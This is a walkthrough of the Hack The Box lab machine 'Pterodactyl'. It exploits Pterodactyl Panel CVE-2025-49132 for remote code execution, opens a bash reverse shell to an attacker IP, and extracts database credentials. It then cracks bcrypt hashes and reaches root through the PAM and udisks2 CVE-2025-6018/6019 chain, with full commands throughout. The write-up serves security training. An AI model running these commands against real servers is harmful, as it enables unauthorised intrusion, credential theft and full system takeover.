Overview

Pterodactyl is a medium Linux box and genuinely one of the harder chains at this difficulty level. A changelog file leaks the panel version, which leads to an unauthenticated RCE CVE for the initial foothold. Getting from the web shell to SSH access requires understanding a subtle MySQL TCP versus Unix socket authentication quirk. The privilege escalation is a two-CVE chain involving PAM environment injection to spoof an active console session, followed by a udisks2 XFS filesystem race condition to execute a SUID binary as root. There’s also a tooling challenge thrown in for good measure.


Reconnaissance

nmap -sS -sV -O -p- -Pn 10.129.25.226
22/tcp    open    ssh   OpenSSH 9.6
80/tcp    open    http  nginx 1.21.5
443/tcp   closed
8080/tcp  closed

The web service redirects to pterodactyl.htb. Add it to /etc/hosts:

sudo nano /etc/hosts
# Add: 10.129.25.226   pterodactyl.htb

The main site references a Minecraft server at play.pterodactyl.htb but navigating there just redirects back to the main domain. Virtual host scanning with ffuf returns nothing, but gobuster finds a panel subdomain:

gobuster vhost -u http://pterodactyl.htb \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  --append-domain -t 50

Add panel.pterodactyl.htb to /etc/hosts and navigate there. It’s the Pterodactyl Panel login page, an open-source game server management platform.


Version Discovery

The panel login page reveals nothing useful from its source or common paths. Brute forcing the main domain turns up something much more valuable:

feroxbuster -u http://pterodactyl.htb \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -t 50
200  GET  http://pterodactyl.htb/changelog.txt
curl http://pterodactyl.htb/changelog.txt

The changelog contains exactly what we need:

  • Pterodactyl Panel v1.11.10
  • MariaDB 11.8.3 backend
  • phpinfo() debugging enabled

Initial Foothold — CVE-2025-49132

Pterodactyl Panel v1.11.10 is vulnerable to CVE-2025-49132, an unauthenticated RCE flaw. The default exploit assumes pearcmd is in the standard path, which it isn’t here, but specifying the alternative PEAR directory works:

git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132

# Verify RCE
python3 exploit.py http://panel.pterodactyl.htb --rce-cmd "id" \
  --pear-dir /usr/share/php/PEAR
# Output: uid=474(wwwrun) gid=477(www) groups=477(www)

Set up a listener and fire the reverse shell:

nc -lvnp 4444
python3 exploit.py http://panel.pterodactyl.htb \
  --rce-cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.45/4444 0>&1'" \
  --pear-dir /usr/share/php/PEAR

Shell lands as wwwrun. Stabilise it:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter
export TERM=xterm

Database Credential Extraction

The Pterodactyl .env file contains database credentials:

cat /var/www/pterodactyl/.env
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel

This is where things get interesting. Connecting via the standard MySQL CLI without a password actually works, but using the password from .env returns access denied:

mysql -u pterodactyl          # connects successfully
mysql -u pterodactyl -pPteraPanel  # access denied

The reason: MariaDB has two distinct authentication paths. The CLI defaults to Unix socket authentication, which grants access based on your OS username matching a DB user with no password. But the .env file specifies DB_HOST=127.0.0.1, meaning the web application connects via TCP. TCP auth uses passwords, and the socket auth ignores them entirely.

The credentials are valid, they just need to be used via TCP the same way the application itself connects. PHP’s PDO handles TCP connections directly:

php -r "
\$pdo = new PDO('mysql:host=127.0.0.1;dbname=panel', 'pterodactyl', 'PteraPanel');
\$stmt = \$pdo->query('SELECT email, username, password FROM users');
while(\$row = \$stmt->fetch()) { print_r(\$row); }
"

Two users come back, both matching real system accounts from /etc/passwd:

headmonitor  / $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
phileasfogg3 / $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi

Hash Cracking

Both are bcrypt hashes, hashcat mode 3200:

echo '$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2' > hashes.txt
echo '$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi' >> hashes.txt

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

Only phileasfogg3’s hash cracks: !QAZ2wsx

ssh phileasfogg3@pterodactyl.htb
# Password: !QAZ2wsx

User flag is at /home/phileasfogg3/user.txt.


Privilege Escalation — CVE-2025-6018 + CVE-2025-6019

Finding the Path

sudo -l immediately shows phileasfogg3 has full sudo access — the password is known so this is a last resort option, but reading the environment reveals a mailbox:

cat /var/spool/mail/phileasfogg3

There’s a message from the system administrator referencing unusual udisksd activity. In CTF environments, admin emails that reference specific daemons are almost always deliberate hints from the box author. This pointed directly to the privilege escalation chain.

The Chain

Two CVEs are required together. Neither works alone:

CVE-2025-6018 — PAM Environment Injection

A misconfiguration in the pam_env module (user_readenv=1, enabled by default on openSUSE) allows injecting environment variables via ~/.pam_environment on login. By setting XDG_SEAT=seat0 and XDG_VTNR=1, we trick systemd-logind into treating our SSH session as a physical console session, granting allow_active Polkit privileges. This is the prerequisite for the next step.

CVE-2025-6019 — udisks2 XFS Resize Race Condition

When udisks2 performs an XFS filesystem operation via D-Bus, it calls libblockdev which temporarily mounts the filesystem under /tmp/blockdev* without the nosuid flag. If the filesystem image contains a SUID root binary, it can be executed during this mount window. CVE-2025-6018 is what grants us the allow_active Polkit status required to even trigger this operation.

The Tooling Problem

Building the exploit requires mkfs.xfs from the xfsprogs package to create a malicious XFS filesystem image. This was unavailable on both the target (openSUSE with no sudo for package installs) and the HTB pwnbox (Parrot OS, package not in repos).

The solution: install Ubuntu via WSL (Windows Subsystem for Linux) on a local Windows machine. Ubuntu has xfsprogs available via apt, and WSL can connect to the HTB VPN to transfer files.

Building the Exploit (on Local Ubuntu WSL)

sudo apt update && sudo apt install xfsprogs gcc -y

git clone https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC
cd CVE-2025-6018-6019-PoC

sudo bash build_poc.sh
# Produces: exploit.img, exploit.sh, catcher, rootbash

The build script compiles a static SUID root shell (rootbash), creates a 400MB XFS image containing it with the SUID bit set, and compiles a C race condition catcher that monitors /proc/mounts in real-time. Static compilation is important here — it avoids glibc ABI mismatches between the Ubuntu build environment and the openSUSE target.

Transfer to Target

scp exploit.img phileasfogg3@pterodactyl.htb:/tmp/
scp exploit.sh phileasfogg3@pterodactyl.htb:/tmp/
scp catcher phileasfogg3@pterodactyl.htb:/tmp/

Stage 1 — CVE-2025-6018: Inject PAM Environment

ssh phileasfogg3@pterodactyl.htb

cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF

exit

Stage 2 — Re-login to Activate PAM

ssh phileasfogg3@pterodactyl.htb

Verify the session is now flagged as allow_active:

gdbus call --system --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot
# Must return ('yes',)

Stage 3 — CVE-2025-6019: Race Condition to Root

cd /tmp
chmod +x exploit.sh catcher
export PATH=$PATH:/sbin:/usr/sbin
bash exploit.sh

The exploit sets up a loop device from exploit.img, starts catcher in the background to monitor for the temporary mount, then triggers Filesystem.Check via D-Bus. When libblockdev mounts the image without nosuid, catcher catches the mount and immediately executes the SUID binary.

[+] Session is Active. Polkit bypass enabled.
[*] Starting Background Trigger...
[*] Starting Foreground Catcher...
[*] HOLD TIGHT. ROOT SHELL INCOMING.
# id
uid=0(root) gid=0(root) groups=0(root)

Root flag is at /root/root.txt.


Attack Chain Summary

Step Detail
Recon nmap, directory brute force → changelog.txt leaks Pterodactyl Panel v1.11.10
Vhost gobuster → panel.pterodactyl.htb
Foothold CVE-2025-49132 RCE with custom --pear-dir flag → shell as wwwrun
Creds .env → MySQL TCP auth via PHP PDO → bcrypt hashes for two users
Hash crack hashcat mode 3200 → phileasfogg3:!QAZ2wsx
SSH ssh phileasfogg3@pterodactyl.htb → user flag
Hint Mail from admin references udisksd
CVE-2025-6018 PAM ~/.pam_environment injection → allow_active Polkit session
CVE-2025-6019 udisks2 XFS race condition → SUID binary execution → root shell
Root flag /root/root.txt

Key Lessons

TCP vs Unix Socket auth in MySQL. The .env credentials failed via the MySQL CLI because it defaults to Unix socket authentication. The password only works over TCP, exactly how the web application itself connects. When app credentials don’t work in the CLI, mimic the connection method the app actually uses.

Tooling gaps require creative solutions. The HTB pwnbox lacked xfsprogs, which is needed to create XFS filesystem images. A local Ubuntu WSL instance bridged the gap. When your attack environment is missing tools, a secondary Linux environment (WSL, VM, or cloud shell) is always an option.

CTF mail hints are almost never accidental. The admin email specifically mentioning udisksd was a direct pointer to the CVE chain. Box authors don’t include flavour text about specific daemons without reason.

Static compilation for cross-distro exploits. Compiling with gcc -static avoids glibc ABI mismatches when targeting a system with a different distribution or libc version.